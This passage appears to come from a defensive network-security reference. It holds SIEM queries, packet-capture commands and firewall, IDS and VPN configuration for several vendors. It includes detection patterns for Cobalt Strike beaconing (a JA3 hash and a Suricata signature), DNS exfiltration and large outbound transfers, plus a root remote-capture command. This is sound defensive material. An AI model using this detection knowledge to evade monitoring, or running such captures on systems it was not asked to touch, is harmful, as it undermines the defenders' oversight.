  ROUND(SUM(F.OutBytes)/1073741824.0, 2) AS GB_Sent,
  COUNT(*)                         AS FlowCount
FROM Orion.NetFlow.Flows F
INNER JOIN Orion.Nodes N ON F.NodeID = N.NodeID
WHERE F.DateTime > GETDATE() - 2/24.0
  AND F.DestIPAddress NOT LIKE '10.%'
  AND F.DestIPAddress NOT LIKE '192.168.%'
  AND F.DestIPAddress NOT LIKE '172.16.%'
  AND (F.OutBytes + F.InBytes) > 1073741824  -- > 1GB
GROUP BY N.Caption, F.SourceIPAddress, F.DestIPAddress, F.DestPort
ORDER BY GB_Sent DESC

# ── Alert configuration: Trigger on >10GB external transfer ──────────────────
# SolarWinds Alert Manager > New Alert:
# Condition: (SUM OutBytes to non-RFC1918 IP) > 10,737,418,240 (10GB)
# Evaluated every: 15 minutes
# Actions:
#   1. Send email to soc@corp.com with source/destination details
#   2. Execute script: quarantine_host.py ${HostName}
#   3. SNMP Set: shutdown offending interface (if confirmed)

# ── Nagios host and service definitions for DMZ monitoring ───────────────────
# File: /etc/nagios/conf.d/dmz_servers.cfg
define host {
  host_name         web01.dmz.corp.local
  address           10.20.30.11
  check_command     check-host-alive
  max_check_attempts 3
  check_interval    1
  contact_groups    soc_team
}

define service {
  host_name             web01.dmz.corp.local
  service_description   HTTP Response Time
  check_command         check_http!-w 1.5 -c 4.0 -t 10 -u /health
  max_check_attempts    3
  check_interval        1
  event_handler         enable_ratelimit!web01.dmz.corp.local
  contact_groups        soc_team
  notification_options  w,c,r
}

define service {
  host_name             web01.dmz.corp.local
  service_description   SSL Certificate Expiry
  check_command         check_http!-ssl -C 30,14
  # Warn at 30 days remaining, Critical at 14 days
  check_interval        60
}

# ── Event handler script: enable_ratelimit.sh ─────────────────────────────────
#!/bin/bash
# Called when service enters WARNING or CRITICAL HARD state
SERVICESTATE=$1
SERVICESTATETYPE=$2
HOSTNAME=$3

if [ "$SERVICESTATE" = "CRITICAL" ] && [ "$SERVICESTATETYPE" = "HARD" ]; then
  # Activate rate limiting on load balancer via API
  curl -s -X POST https://lb.corp.local/api/v1/ratelimit/enable \
    -H 'Authorization: Bearer LB_API_TOKEN' \
    -d "{\"target\":\"$HOSTNAME\",\"limit\":100}"
  logger -t nagios "Rate limiting activated for $HOSTNAME"
fi

# ── Hunt query in Security Onion Console (Kibana/SOC) ────────────────────────
# STEP 1: Hunt for Cobalt Strike beaconing pattern in Zeek ssl logs
# Security Onion Console > Hunt > Lucene query:
event.module:zeek AND event.dataset:zeek.ssl AND
  destination.ip:* AND NOT destination.ip:10.0.0.0/8
  AND NOT destination.ip:192.168.0.0/16
  AND source.ip:10.10.10.50

# STEP 2: Elasticsearch aggregation to measure beacon regularity
GET logs-zeek.conn-*/_search
{
  "query": {
    "bool": {
      "must": [
        {"match": {"source.ip": "10.10.10.50"}},
        {"match": {"destination.port": 443}}
      ]
    }
  },
  "aggs": {
    "by_dest": {
      "terms": {"field": "destination.ip", "size": 10},
      "aggs": {
        "over_time": {
          "date_histogram": {"field": "@timestamp",
                             "fixed_interval": "1m"}
        }
      }
    }
  }
}
# Result: 51.79.xx.xx contacted 58 times in 1hr with 62s ± 3s jitter
# Highly regular interval = beacon characteristic

# STEP 3: Check JA3 fingerprint (Cobalt Strike default: a0e9f5d64349fb13191bc781f81f42e1)
event.module:zeek AND tls.client.ja3:a0e9f5d64349fb13191bc781f81f42e1

# STEP 4: Extract full PCAP for the session
# SOC Console > Hunt > right-click source IP > Extract PCAP
# Download: 10.10.10.50_51.79.xx.xx_443_session.pcap

# STEP 5: Correlate with Suricata alert
event.module:suricata AND alert.signature:'ET MALWARE CobaltStrike Beacon'
  AND source.ip:10.10.10.50

# STEP 6: Create TheHive case
# SOC > Alert > Escalate to Case > Assign: IR Team | Priority: P1

# ── CAPTURE: Save all DNS traffic to rotating PCAP files ─────────────────────
sudo tcpdump -i eth0 \
  -w /tmp/dns_capture_%Y%m%d_%H%M%S.pcap \
  -G 300 -C 100 \
  'udp port 53 or tcp port 53'
# -G 300 = rotate every 5 minutes   -C 100 = rotate at 100MB

# ── LIVE ANALYSIS: Show DNS queries with verbose decode ───────────────────────
sudo tcpdump -i eth0 -nn -vvv 'udp port 53'

# ── DETECTION: Flag anomalously long DNS query names (>50 chars) ──────────────
sudo tcpdump -i eth0 -nn \
  'udp port 53 and udp[10:2] & 0x7800 = 0x0000'
# Captures DNS queries (QR bit = 0)

# Use tshark for automated long-query detection
sudo tshark -i eth0 -Y 'dns.qry.type == 1 and dns.qry.name.len > 50' \
  -T fields -e frame.time -e ip.src -e dns.qry.name

# ── EVIDENCE: Capture SMB for lateral movement detection ──────────────────────
sudo tcpdump -i eth0 \
  -w /tmp/smb_capture.pcap \
  'tcp port 445 or tcp port 139'

# ── REMOTE CAPTURE: Stream to local Wireshark via SSH ────────────────────────
ssh -C root@prod-server.corp.local \
  'tcpdump -i eth0 -s 0 -w - not port 22' | wireshark -k -i -

# ── DETECT SYN SCAN: Show only TCP SYN packets ────────────────────────────────
sudo tcpdump -i eth0 -nn \
  'tcp[tcpflags] == tcp-syn'

# ── EXTRACT: Tshark field extraction for automated analysis ──────────────────
tshark -r /tmp/dns_capture.pcap \
  -Y 'dns.qry.name' \
  -T fields -e dns.qry.name \
  | awk '{print length($0), $0}' | sort -rn | head -20

# ── FortiOS CLI — IPS signature verification and policy config ───────────────
# Verify Log4Shell IPS signature is present and active
FGT# show ips sensor | grep -A5 log4j
FGT# diagnose ips signature list | grep -i log4j

# Create strict IPS sensor for internet-facing services
FGT# config ips sensor
FGT(sensor)# edit "Critical_Perimeter_IPS"
FGT(sensor)# set comment "Strict IPS for internet-facing DMZ"
FGT(sensor)# config entries
FGT(entries)# edit 1
FGT(edit)# set severity high critical
FGT(edit)# set action block
FGT(edit)# set log enable
FGT(edit)# set log-packet enable
FGT(edit)# next
FGT(entries)# end
FGT(sensor)# end

# Apply IPS sensor + SSL inspection to perimeter firewall policy
FGT# config firewall policy
FGT(policy)# edit 10
FGT(policy)# set name "Internet_to_DMZ"
FGT(policy)# set srcintf "wan1"
FGT(policy)# set dstintf "dmz"
FGT(policy)# set action accept
FGT(policy)# set ips-sensor "Critical_Perimeter_IPS"
FGT(policy)# set ssl-ssh-profile "deep-inspection"
FGT(policy)# set utm-status enable
FGT(policy)# next
FGT(policy)# end

# Monitor IPS events in real time
FGT# diagnose debug application ips -1
FGT# diagnose debug enable

# View IPS log (FortiAnalyzer / FortiOS log viewer)
FGT# execute log filter category event
FGT# execute log display

# ── PAN-OS CLI — SSL decryption and threat prevention config ─────────────────
# Step 1: Create SSL Forward Proxy decryption profile
set profiles decryption CorpDecryptProfile type ssl-forward-proxy
set profiles decryption CorpDecryptProfile ssl-forward-proxy \
  block-expired-certificate yes \
  block-untrusted-issuer yes \
  block-unknown-cert yes

# Step 2: Create threat prevention profile group
set profiles profile-group StrictThreatProfile \
  virus Strict-AV \
  spyware Strict-AntiSpyware \
  vulnerability Strict-IPS \
  wildfire-analysis WildFire-Default \
  url-filtering Corp-URL-Profile

# Step 3: Apply to security rule for internal-to-untrust traffic
set rulebase security rules CorpOutbound \
  from trust \
  to untrust \
  application [ssl web-browsing] \
  service application-default \
  action allow \
  profile-setting group StrictThreatProfile \
  profile-setting profiles decryption CorpDecryptProfile

# Step 4: Configure DNS Security sinkhole
set profiles spyware StrictAS botnet-domains lists default-paloalto-dns \
  action sinkhole
set profiles spyware StrictAS botnet-domains sinkhole ipv4-address 100.64.0.1

# Step 5: JA3 fingerprint custom signature (Cobalt Strike default)
# Create custom App-ID or IPS signature for JA3 = a0e9f5d64349fb13191bc781f81f42e1

# Monitor threat activity in real time
show log threat direction equal clienttoserver \
  category equal command-and-control start-time equal last-60-seconds

# ── Check Point CLI (clish/expert mode) — gateway operations ─────────────────
# Verify Threat Prevention blade status
fw stat
cpinfo -y all | grep -i 'threat\|blade'

# SmartConsole — Configure Threat Extraction profile
# Security Policies > Threat Prevention > Profiles > New Profile
# Name: CDR_Corporate
# Threat Extraction:
#   Action: Extract threat content
#   Supported file types: .docx .xlsx .pptx .pdf
#   Extract: Macros | Active Content | JavaScript | Linked Objects
#   Deliver: PDF (safe format)

# Check Point Management API — query Threat Extraction events
mgmt_cli show logs \
  query '"blade" = "Anti-Virus" AND "protection" = "Threat Extraction"' \
  details-level full \
  --format json

# Install updated Threat Prevention policy
mgmt_cli install-policy \
  policy-package "Standard" \
  targets.1 "GW-PERIMETER-01" \
  targets.2 "GW-PERIMETER-02"

# Check real-time Anti-Bot protections
fw ctl zdebug + drop | grep anti-bot

# ThreatCloud intelligence update status
cplic print | grep -i cloud
fwm ver | grep -i threat

! ── Cisco ASA DMZ Segmentation Configuration ─────────────────────────────────
! Interface configuration with security levels
interface GigabitEthernet0/0
 nameif outside
 security-level 0
 ip address 203.0.113.1 255.255.255.248
 no shutdown
!
interface GigabitEthernet0/1
 nameif dmz
 security-level 50
 ip address 10.20.30.1 255.255.255.0
 no shutdown
!
interface GigabitEthernet0/2
 nameif inside
 security-level 100
 ip address 192.168.1.1 255.255.255.0
 no shutdown

! NAT: Translate DMZ server to public IP
nat (dmz,outside) static 203.0.113.5
  service tcp https https

! Access list: allow only HTTPS from internet to DMZ web server
access-list OUTSIDE_IN extended permit tcp any \
  host 10.20.30.10 eq 443
access-list OUTSIDE_IN extended deny ip any any log
access-group OUTSIDE_IN in interface outside

! BLOCK ALL DMZ to inside traffic (defence-in-depth)
access-list DMZ_IN extended deny ip \
  10.20.30.0 255.255.255.0 \
  192.168.1.0 255.255.255.0 log
access-list DMZ_IN extended permit ip 10.20.30.0 255.255.255.0 any
access-group DMZ_IN in interface dmz

! Enable HTTP application-layer inspection (normalise HTTP)
class-map inspection_default
 match default-inspection-traffic
policy-map global_policy
 class inspection_default
  inspect http
  inspect smtp
  inspect dns
  inspect ftp
service-policy global_policy global

# ── pfSense: pfBlockerNG GeoIP configuration ──────────────────────────────────
# Firewall > pfBlockerNG > IP > GeoIP
# GeoIP Database: MaxMind GeoLite2 (free license key required)
# Countries to block (inbound): CN, RU, KP, IR, SY, BY
# Action: Deny Both (inbound + outbound)
# Firewall Rule: Auto-create matching deny rules

# ── Suricata IDS on WAN interface ─────────────────────────────────────────────
# Services > Suricata > Interfaces > Add
# Interface: WAN  |  Send Alerts to System Log: YES
# Block Offenders: YES  |  Kill States: YES
# Rules: ET Open + Emerging Threats Pro + Custom

# ── Site-to-Site IPsec IKEv2 VPN to AWS VPC ──────────────────────────────────
# VPN > IPsec > Add Phase 1:
#   IKE Version: IKEv2  |  Key Exchange: RSA
#   Remote Gateway: [AWS Customer Gateway IP]
#   Authentication Method: Mutual PSK
#   Encryption: AES-256-GCM  |  Hash: SHA-256  |  DH Group: 14 (2048-bit)
# Add Phase 2:
#   Mode: Tunnel  |  Local Network: 192.168.1.0/24
#   Remote Network: 10.0.0.0/16 (AWS VPC CIDR)
#   Encryption: AES-256-GCM  |  Hash: SHA-256  |  PFS: Group 14

# ── WireGuard remote access VPN ───────────────────────────────────────────────
# VPN > WireGuard > Add Tunnel:
#   Listen Port: 51820  |  MTU: 1420
#   Generate server key pair (public key for clients)
# Add peer for each remote employee:
#   Endpoint (client public key): [from client config]
#   Allowed IPs: 10.99.0.2/32 (tunnel IP for this client)

# Client config (send to employee):
[Interface]
Address    = 10.99.0.2/32
PrivateKey = [client private key]
DNS        = 192.168.1.1

[Peer]
PublicKey  = [pfSense public key]
Endpoint   = office.corp.com:51820
AllowedIPs = 192.168.1.0/24, 10.0.0.0/16